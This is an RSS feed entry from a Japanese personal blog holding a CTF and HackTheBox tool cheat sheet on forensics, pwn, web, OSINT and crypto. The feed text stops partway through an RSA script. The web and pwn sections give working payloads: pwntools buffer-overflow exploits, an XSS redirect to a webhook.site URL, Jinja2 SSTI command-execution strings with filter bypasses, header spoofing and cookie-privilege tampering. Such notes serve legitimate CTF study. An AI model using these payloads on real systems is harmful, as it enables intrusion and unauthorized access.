<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Index on しゅたるくの備忘録</title><link>https://stark2420.github.io/starknote/tags/index/</link><description>Recent content in Index on しゅたるくの備忘録</description><generator>Hugo -- gohugo.io</generator><language>ja</language><managingEditor>example@example.com (Stark)</managingEditor><webMaster>example@example.com (Stark)</webMaster><copyright>©2020 Notepadium.</copyright><lastBuildDate>Sat, 25 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://stark2420.github.io/starknote/tags/index/index.xml" rel="self" type="application/rss+xml"/><item><title>📌CTF&amp;HTB Tools まとめ</title><link>https://stark2420.github.io/starknote/post/ctf/</link><pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/ctf/</guid><description>&lt;p>CTFやHTBで利用できるツールを自分用にまとめておく．&lt;/p>
&lt;h2 id="forensics">Forensics&lt;/h2>
&lt;p>参考：
&lt;a href="https://qiita.com/knqyf263/items/6ebf06e27be7c48aab2e"target="_blank" rel="noopener noreferrer">https://qiita.com/knqyf263/items/6ebf06e27be7c48aab2e&lt;/a>&lt;/p>
&lt;h3 id="exiftool">exiftool&lt;/h3>
&lt;p>画像や動画のExif情報．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ exiftool image.png
&lt;/code>&lt;/pre>&lt;details>&lt;summary>install&lt;/summary>
&lt;figure class="xCodeBlock">
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>$ sudo apt-get install exiftool&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;/details>
&lt;h3 id="pdftotext">pdftotext&lt;/h3>
&lt;p>PDFをテキストに変換．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ pdftotext file.pdf
$ pdftotext file.pdf -
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>default：name.txtが作成される&lt;/li>
&lt;li>&lt;code>-&lt;/code>：標準出力にそのまま出力&lt;/li>
&lt;/ul>
&lt;p>問題例：
&lt;a href="https://stark2420.github.io/starknote/post/new-year-ctf-2025/#bel_money-part_1-100"target="_blank" rel="noopener noreferrer">https://stark2420.github.io/starknote/post/new-year-ctf-2025/#bel_money-part_1-100&lt;/a>&lt;/p>
&lt;details>&lt;summary>install&lt;/summary>
&lt;figure class="xCodeBlock">
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>$ apt install poppler-utils
$ pdftotext -v&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;/details>
&lt;h3 id="qrコード">QRコード&lt;/h3>
&lt;ul>
&lt;li>QRazyBox: &lt;a href="https://merri.cx/qrazybox/"target="_blank" rel="noopener noreferrer">https://merri.cx/qrazybox/&lt;/a>&lt;/li>
&lt;li>QRコード読み取り: &lt;a href="https://qrcode.onl.jp/"target="_blank" rel="noopener noreferrer">https://qrcode.onl.jp/&lt;/a>&lt;/li>
&lt;/ul>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">qr.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">!&lt;/span>&lt;span class="n">pip&lt;/span> &lt;span class="n">install&lt;/span> &lt;span class="n">opencv&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">!&lt;/span>&lt;span class="n">pip&lt;/span> &lt;span class="n">install&lt;/span> &lt;span class="n">pyzbar&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">cv2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pyzbar.pyzbar&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">decode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">base64_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;iVBORw0KGgoAAAANSUhEUgAAAeoAAAHqAQAAAADjFjCXAAAC/klEQVR4nO3aSW7rMAyAYQE+QI7kq/tIPkAAvoSjPHSwlQd08WvRurE+dUNQIpUmI2NpcDgcDofD4fC/xJuPyZ5enzz9k/n1JLK+Plv0xdryBRw+xvUPWV98tqmT+NTH01aLt5N0Ag4f4e+p9m6NyF3e8v1DX2zeTnD4B7nmxk2CfKHloVN9DTj843z1+RGlsV9rDv05aOHwX3P9tcbHOd/Dt06JP+7vcPhvuY9Iht/8iKlw+CDvRh0Gm+3N76f4M0I6J8PhI9yLXLG0GOfAOBbqkpogY7UZDh/lWnhkzWHtljgR1inRD43HVAmHX+de33rN29UmLaUuucRGHgwOv8ut5tDYrK6yZknvvrS2f4LDB3m/GWdY6tR84Zt2LH5MlXD4Vf4QiYUqIlurc2Bt3x7NcPggtzokz4GyRVmgaKieFiNw+FVu7zQZSpwNrecy+/Ldd1mkBhw+wP22rPUZUdZKixXDVRvD4YM8wtAvL7K1PMcaddMWOzccPsg3bbxovERurBjO/wWHf4BHqGr1YbwuOSx9xpJ95QKH3+U+IlRbdf/0KTt9rbW8+IDDB3nFYY5ul7bqVy/UJM+GcPgY9+p3y+veVtYK1Wfu3HD4ED8L2i5V2pMl0v74CIcP8LOgFcm0uOR5sbVqRsPhY3w+01LbsvShWgMO/y/cipFsvFgJvL9Qg8Nv8Nai0tiNJXKjVyTbKXD4fS52eRFt5H5CBGhwHYcKGg6/zuuktx+RGwM9++QKh9/nfaVxMqxAztuPdrK/w+FXuTX05jMZO7eN95SuXobD7/PNtwV245n3trnGsfECh1/m3w8L2mzBdMdHOPw+92iMDbrbqq0Y0QuNR61xuMaFw6/zWX/ZbdnUbcG+Nz9E4n4t8yocPsrrjjY7LZ4Rg+s826DzH8Lhn+DNvoBn3b8WnZY6L9qUL06VcPgtvkmVLj1VKlq9Gf1lzMPhv+YRkTYru8r7YYF8rKDh8Ovcx9SvodyqX536kEykcPg4vzvgcDgcDofD4X+F/wOUtm/WGicMDwAAAABJRU5ErkJggg==&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">image_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">base64_data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;decoded_qr_code.png&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;wb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image_data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">image&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cv2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">imread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;decoded_qr_code.png&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">qr_codes&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">qr&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">qr_codes&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">qr_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">qr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;utf-8&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">qr_data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Happy_New_Year_-_may_it_be_your_best_year_yet!&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>問題例:&lt;br>
 - &lt;a href="https://stark2420.github.io/starknote/post/new-year-ctf-2025/#broken-qr-100"target="_blank" rel="noopener noreferrer">https://stark2420.github.io/starknote/post/new-year-ctf-2025/#broken-qr-100&lt;/a>&lt;br>
 - &lt;a href="https://stark2420.github.io/starknote/post/new-year-ctf-2025/#my-best-regards-100"target="_blank" rel="noopener noreferrer">https://stark2420.github.io/starknote/post/new-year-ctf-2025/#my-best-regards-100&lt;/a>&lt;/p>
&lt;h2 id="pwn">Pwn&lt;/h2>
&lt;details>&lt;summary>install&lt;/summary>
&lt;figure class="xCodeBlock">
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code># pwntoolsのインストール
$ pip install pwntools
# ROPgadgetのインストール
$ pip install ROPgadget&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;/details>
&lt;h3 id="buffer-overflow-bof">Buffer Overflow (BOF)&lt;/h3>
&lt;h4 id="ローカル変数の書き換え">ローカル変数の書き換え&lt;/h4>
&lt;pre tabindex="0">&lt;code>from pwn import *
io = remote(&amp;#34;localhost&amp;#34;, 9012)
payload = b&amp;#34;A&amp;#34; * 24
payload += p64(0xdeadbeef)
io.sendline(payload)
io.interactive()
&lt;/code>&lt;/pre>&lt;h4 id="リターンアドレスの書き替え">リターンアドレスの書き替え&lt;/h4>
&lt;pre tabindex="0">&lt;code>from pwn import *
elf = ELF(&amp;#39;./chall&amp;#39;)
win_addr = elf.symbols[&amp;#39;win&amp;#39;]
io = remote(&amp;#34;localhost&amp;#34;, 9012)
payload = b&amp;#34;A&amp;#34; * 18
payload += p64(win_addr)
io.sendafter(b&amp;#34;input:&amp;#34;, payload)
io.interactive()
&lt;/code>&lt;/pre>&lt;p>手動でwin関数のアドレスを調べる場合は，以下のように&lt;code>0x401186&lt;/code>とわかる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ objdump -d chall | grep &amp;#34;win&amp;#34; -A 16
0000000000401186 &amp;lt;win&amp;gt;:
401186: 55 push %rbp
401187: 48 89 e5 mov %rsp,%rbp
40118a: 48 83 ec 70 sub $0x70,%rsp
40118e: 48 8d 05 6f 0e 00 00 lea 0xe6f(%rip),%rax # 402004 &amp;lt;_IO_stdin_used+0x4&amp;gt;
401195: 48 89 c6 mov %rax,%rsi
401198: 48 8d 05 67 0e 00 00 lea 0xe67(%rip),%rax # 402006 &amp;lt;_IO_stdin_used+0x6&amp;gt;
40119f: 48 89 c7 mov %rax,%rdi
4011a2: e8 e9 fe ff ff call 401090 &amp;lt;fopen@plt&amp;gt;
4011a7: 48 89 45 f8 mov %rax,-0x8(%rbp)
4011ab: 48 8b 55 f8 mov -0x8(%rbp),%rdx
4011af: 48 8d 45 90 lea -0x70(%rbp),%rax
4011b3: be 64 00 00 00 mov $0x64,%esi
4011b8: 48 89 c7 mov %rax,%rdi
4011bb: e8 b0 fe ff ff call 401070 &amp;lt;fgets@plt&amp;gt;
4011c0: 48 8d 45 90 lea -0x70(%rbp),%rax
4011c4: 48 89 c7 mov %rax,%rdi
&lt;/code>&lt;/pre>&lt;h2 id="web">Web&lt;/h2>
&lt;h3 id="ffuf">FFUF&lt;/h3>
&lt;p>WEBファジングツール．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ ffuf -w wordlists.txt -u http://example.com/FUZZ
$ ffuf -w subdomains.txt -u http://example.com -H &amp;#34;Host:FUZZ.example.com&amp;#34; -c -fs 178
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Wordlistsのダウンロード先:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>(公式) &lt;a href="http://ffuf.me/wordlists"target="_blank" rel="noopener noreferrer">http://ffuf.me/wordlists&lt;/a>&lt;/li>
&lt;li>(ユーザ名) &lt;a href="https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names"target="_blank" rel="noopener noreferrer">https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names&lt;/a> [names.txt]&lt;/li>
&lt;li>(シンプルで使いやすい) &lt;a href="https://github.com/Bo0oM/fuzz.txt"target="_blank" rel="noopener noreferrer">https://github.com/Bo0oM/fuzz.txt&lt;/a>&lt;/li>
&lt;li>(サブドメイン用) &lt;a href="https://wordlists.assetnote.io/"target="_blank" rel="noopener noreferrer">https://wordlists.assetnote.io/&lt;/a> [httparchive_subdomains_2024_05_28.txt]&lt;/li>
&lt;/ul>
&lt;p>参考:&lt;br>
 - &lt;a href="https://jpn.nec.com/cybersecurity/blog/210604/index.html"target="_blank" rel="noopener noreferrer">https://jpn.nec.com/cybersecurity/blog/210604/index.html&lt;/a>&lt;br>
 - &lt;a href="https://breezebird.net/ffuf/"target="_blank" rel="noopener noreferrer">https://breezebird.net/ffuf/&lt;/a>&lt;br>
 - &lt;a href="https://qiita.com/kk0128/items/5186cbe6062e0f887e3b"target="_blank" rel="noopener noreferrer">https://qiita.com/kk0128/items/5186cbe6062e0f887e3b&lt;/a>&lt;/p>
&lt;h3 id="git">.git/&lt;/h3>
&lt;p>&lt;code>.git/&lt;/code>がある場合，&lt;a href="https://github.com/lijiejie/GitHack"target="_blank" rel="noopener noreferrer">GitHack&lt;/a> (&lt;a href="https://github.com/lijiejie/GitHack"target="_blank" rel="noopener noreferrer">https://github.com/lijiejie/GitHack&lt;/a>) を用いて，ファイルをダウンロードできる．&lt;/p>
&lt;h3 id="curlコマンド">curlコマンド&lt;/h3>
&lt;pre tabindex="0">&lt;code>// 任意のヘッダー（X-Dev-Access: yes）を付与．
curl -X POST http://amiable-citadel.picoctf.net:61140/login -H &amp;#34;X-Dev-Access: yes&amp;#34; -d email=&amp;#34;ctf-player@picoctf.org&amp;#34;
// -d をJSONで送る場合，Content-Type: application/jsonが必須．
curl -X POST http://amiable-citadel.picoctf.net:59204/login -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;email&amp;#34;:&amp;#34;ctf-player@picoctf.org&amp;#34;, &amp;#34;password&amp;#34;:&amp;#34;rCRnekkE&amp;#34;}&amp;#39;
// windowsだと以下にしないとダメ．
curl -X POST http://amiable-citadel.picoctf.net:59204/login -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#34;{\&amp;#34;email\&amp;#34;:\&amp;#34;ctf-player@picoctf.org\&amp;#34;, \&amp;#34;password\&amp;#34;:\&amp;#34;rCRnekkE\&amp;#34;}&amp;#34;
curl -X POST http://amiable-citadel.picoctf.net:59204/login -d email=&amp;#34;ctf-player@picoctf.org&amp;#34; -d password=&amp;#34;rCRnekkE&amp;#34;
// X-Forwarded-ForでIPの偽造が可能？
curl -X POST http://amiable-citadel.picoctf.net:59204/login -d email=&amp;#34;ctf-player@picoctf.org&amp;#34; -d password=&amp;#34;rCRnekkE&amp;#34; -H &amp;#34;X-Forwarded-For: 127.0.0.1&amp;#34;
&lt;/code>&lt;/pre>&lt;h3 id="urlエンコード">URLエンコード&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://tool.hiofd.com/ja/url-hex-online/"target="_blank" rel="noopener noreferrer">https://tool.hiofd.com/ja/url-hex-online/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>参考：&lt;a href="https://www.eso.org/~ndelmott/url_encode.html"target="_blank" rel="noopener noreferrer">HTML URL-encoding Reference&lt;/a>&lt;/p>
&lt;h3 id="文字コード">文字コード&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.tagindex.com/tool/unicode-code.html"target="_blank" rel="noopener noreferrer">文字 -&amp;gt; Unicode&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.tagindex.com/tool/unicode-char.html"target="_blank" rel="noopener noreferrer">Unicode -&amp;gt; 文字&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="xss">XSS&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://webhook.site/"target="_blank" rel="noopener noreferrer">https://webhook.site/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>指定のURLにリダイレクトするスクリプト.&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;script&amp;gt;window.location.href=&amp;#34;https://webhook.site/861b7ef1-0e6e-4dc3-9c97-f69bb609c45f&amp;#34;;&amp;lt;/script&amp;gt;
&lt;/code>&lt;/pre>&lt;h3 id="sstiserver-side-template-injection">SSTI(Server-Side Template Injection)&lt;/h3>
&lt;ul>
&lt;li>判別チートシート &lt;a href="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Images/serverside.png"target="_blank" rel="noopener noreferrer">https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Images/serverside.png&lt;/a>&lt;/li>
&lt;li>ninja (flaskのrender_template_stringは内部でninja使用)
&lt;ul>
&lt;li>&lt;code>{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}&lt;/code>&lt;/li>
&lt;li>（「.」が使用できない場合）&lt;code>{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}&lt;/code>&lt;/li>
&lt;li>（「.」「_」が使用できない場合）&lt;code>{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('ls')['read']()}}&lt;/code>&lt;/li>
&lt;li>（「.」「_」「[]」が使用できない場合）&lt;code>{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>参考：&lt;br>
 - &lt;a href="https://onsecurity.io/article/server-side-template-injection-with-jinja2/"target="_blank" rel="noopener noreferrer">https://onsecurity.io/article/server-side-template-injection-with-jinja2/&lt;/a>&lt;br>
 - &lt;a href="https://blog.hamayanhamayan.com/entry/2021/12/15/225142"target="_blank" rel="noopener noreferrer">CTFのWebセキュリティにおけるSSTIまとめ&lt;/a>&lt;/p>
&lt;h3 id="探索">探索&lt;/h3>
&lt;ul>
&lt;li>ソースコードのコメント&lt;/li>
&lt;li>リスポンスヘッダー&lt;/li>
&lt;li>robots.txt&lt;/li>
&lt;li>robots.txtのDisallowに指定されたディレクトリ&lt;/li>
&lt;li>ソースマップ（.mapの拡張子で終わるJSONのファイル）&lt;code>app.js.map&lt;/code>&lt;/li>
&lt;li>Cookie&lt;/li>
&lt;li>Cookieの&lt;code>user:guest&lt;/code>を&lt;code>user:admin&lt;/code>にする&lt;/li>
&lt;li>Cookieの&lt;code>admin:False&lt;/code>を&lt;code>admin:True&lt;/code>にする&lt;/li>
&lt;li>.htaccess&lt;/li>
&lt;li>.DS_Store&lt;/li>
&lt;/ul>
&lt;h2 id="osint">Osint&lt;/h2>
&lt;h3 id="検索方法">検索方法&lt;/h3>
&lt;ul>
&lt;li>&amp;quot;&amp;quot; で囲むと必須検索になる&lt;/li>
&lt;li>検索の期間指定で「何日以前のみ」の検索も可&lt;/li>
&lt;/ul>
&lt;h3 id="国立国会図書館デジタルコレクション">国立国会図書館デジタルコレクション&lt;/h3>
&lt;p>古い画像などの検索．&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://dl.ndl.go.jp/"target="_blank" rel="noopener noreferrer">https://dl.ndl.go.jp/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="ウェブアーカイブ">ウェブアーカイブ&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/"target="_blank" rel="noopener noreferrer">https://web.archive.org/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://archive.md/"target="_blank" rel="noopener noreferrer">https://archive.md/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="whois検索ドメイン取得日など">WHOIS検索(ドメイン取得日など)&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://tech-unlimited.com/whois.html"target="_blank" rel="noopener noreferrer">https://tech-unlimited.com/whois.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="ホスティングサービス">ホスティングサービス&lt;/h3>
&lt;ul>
&lt;li>DNSで「正引き」と「逆引き」を行う．&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>$ nslookup www.example.com
Server: 10.255.255.254
Address: 10.255.255.254#53
Non-authoritative answer:
Name: www.example.com
Address: 104.18.26.120
$ nslookup 104.18.26.120
&lt;/code>&lt;/pre>&lt;h3 id="11foot8">11foot8&lt;/h3>
&lt;p>この鉄道橋は，高さ制限が低いため，多くのトラックが屋根を削られる事故が起きたことで有名になり，専用のウェブサイトが運営されているらしい．&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://11foot8.com/about/the-documentary/"target="_blank" rel="noopener noreferrer">https://11foot8.com/about/the-documentary/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="google-earth">Google Earth&lt;/h3>
&lt;ul>
&lt;li>過去の航空写真を利用できる&lt;/li>
&lt;li>撮影日時もわかる&lt;/li>
&lt;/ul>
&lt;h3 id="gmailアドレス">Gmailアドレス&lt;/h3>
&lt;p>Googleカレンダーの情報などが得られる．&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://epieos.com/"target="_blank" rel="noopener noreferrer">https://epieos.com/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="crypto">Crypto&lt;/h2>
&lt;h3 id="何の暗号かを調べる">何の暗号かを調べる&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.dcode.fr/cipher-identifier"target="_blank" rel="noopener noreferrer">https://www.dcode.fr/cipher-identifier&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="国際信号旗">国際信号旗&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://ja.wikipedia.org/wiki/%E5%9B%BD%E9%9A%9B%E4%BF%A1%E5%8F%B7%E6%97%97"target="_blank" rel="noopener noreferrer">https://ja.wikipedia.org/wiki/%E5%9B%BD%E9%9A%9B%E4%BF%A1%E5%8F%B7%E6%97%97&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>　例題：
&lt;a href="https://qiita.com/samohan/items/412e62a7c981e1c20ea2"target="_blank" rel="noopener noreferrer">https://qiita.com/samohan/items/412e62a7c981e1c20ea2&lt;/a>&lt;/p>
&lt;h3 id="burrows-wheeler変換-bwtブロックソート">Burrows-Wheeler変換 (BWT)，ブロックソート&lt;/h3>
&lt;p>&lt;a href="https://www.dcode.fr/burrows-wheeler-transform"target="_blank" rel="noopener noreferrer">https://www.dcode.fr/burrows-wheeler-transform&lt;/a>&lt;/p>
&lt;p>　例題：
&lt;a href="https://stark2420.github.io/starknote/post/uoftctf-2025/#funny-cipher-100"target="_blank" rel="noopener noreferrer">https://stark2420.github.io/starknote/post/uoftctf-2025/#funny-cipher-100&lt;/a>&lt;/p>
&lt;h3 id="モールス信号">モールス信号&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://morsedecoder.com/"target="_blank" rel="noopener noreferrer">https://morsedecoder.com/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.morsecode-translator.com/ja"target="_blank" rel="noopener noreferrer">https://www.morsecode-translator.com/ja&lt;/a>&lt;/li>
&lt;li>(音声も復号) &lt;a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html"target="_blank" rel="noopener noreferrer">https://morsecode.world/international/decoder/audio-decoder-adaptive.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="シーザー暗号">シーザー暗号&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="http://www.net.c.dendai.ac.jp/crypto/caesar2.html"target="_blank" rel="noopener noreferrer">http://www.net.c.dendai.ac.jp/crypto/caesar2.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="単一換字式暗号">単一換字式暗号&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://quipqiup.com/"target="_blank" rel="noopener noreferrer">https://quipqiup.com/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="ビジュネル暗号">ビジュネル暗号&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.guballa.de/vigenere-solver"target="_blank" rel="noopener noreferrer">https://www.guballa.de/vigenere-solver&lt;/a> (鍵も推測する)&lt;/li>
&lt;li>&lt;a href="https://www.dcode.fr/chiffre-vigenere"target="_blank" rel="noopener noreferrer">https://www.dcode.fr/chiffre-vigenere&lt;/a> (鍵も推測する)&lt;/li>
&lt;li>&lt;a href="https://cryptii.com/pipes/vigenere-cipher"target="_blank" rel="noopener noreferrer">https://cryptii.com/pipes/vigenere-cipher&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="素因数分解">素因数分解&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="http://factordb.com/"target="_blank" rel="noopener noreferrer">http://factordb.com/&lt;/a> (既知のNを分解)&lt;/li>
&lt;li>&lt;a href="https://www.alpertron.com.ar/ECM.HTM"target="_blank" rel="noopener noreferrer">https://www.alpertron.com.ar/ECM.HTM&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="cyberchef">CyberChef&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://gchq.github.io/CyberChef/"target="_blank" rel="noopener noreferrer">https://gchq.github.io/CyberChef/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="ハッシュ値">ハッシュ値&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://crackstation.net/"target="_blank" rel="noopener noreferrer">https://crackstation.net/&lt;/a> (Free Password Hash Cracker)&lt;/li>
&lt;/ul>
&lt;h3 id="脆弱なrsa暗号">脆弱なRSA暗号&lt;/h3>
&lt;ul>
&lt;li>(RSA暗号でやってはいけない $n$ のこと) &lt;a href="https://www.slideshare.net/slideshow/rsa-n-ssmjp/72368516#1"target="_blank" rel="noopener noreferrer">https://www.slideshare.net/slideshow/rsa-n-ssmjp/72368516#1&lt;/a>&lt;/li>
&lt;li>$N$ が既知で，暗号化オラクルあり，平文が既知で暗号文を求める場合&lt;/li>
&lt;li>$N$ が未知で，暗号化オラクルあり，平文が既知で暗号文を求める場合&lt;/li>
&lt;/ul>
&lt;p>参考：
&lt;a href="https://zenn.dev/asusn/articles/6bb19c694e94ce#%E6%B1%8E%E7%94%A8%E3%83%84%E3%83%BC%E3%83%AB"target="_blank" rel="noopener noreferrer">https://zenn.dev/asusn/articles/6bb19c694e94ce#%E6%B1%8E%E7%94%A8%E3%83%84%E3%83%BC%E3%83%AB&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="err">!&lt;/span>&lt;span class="n">pip&lt;/span> &lt;span class="n">install&lt;/span> &lt;span class="n">pycryptodome&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">33091&lt;/span>
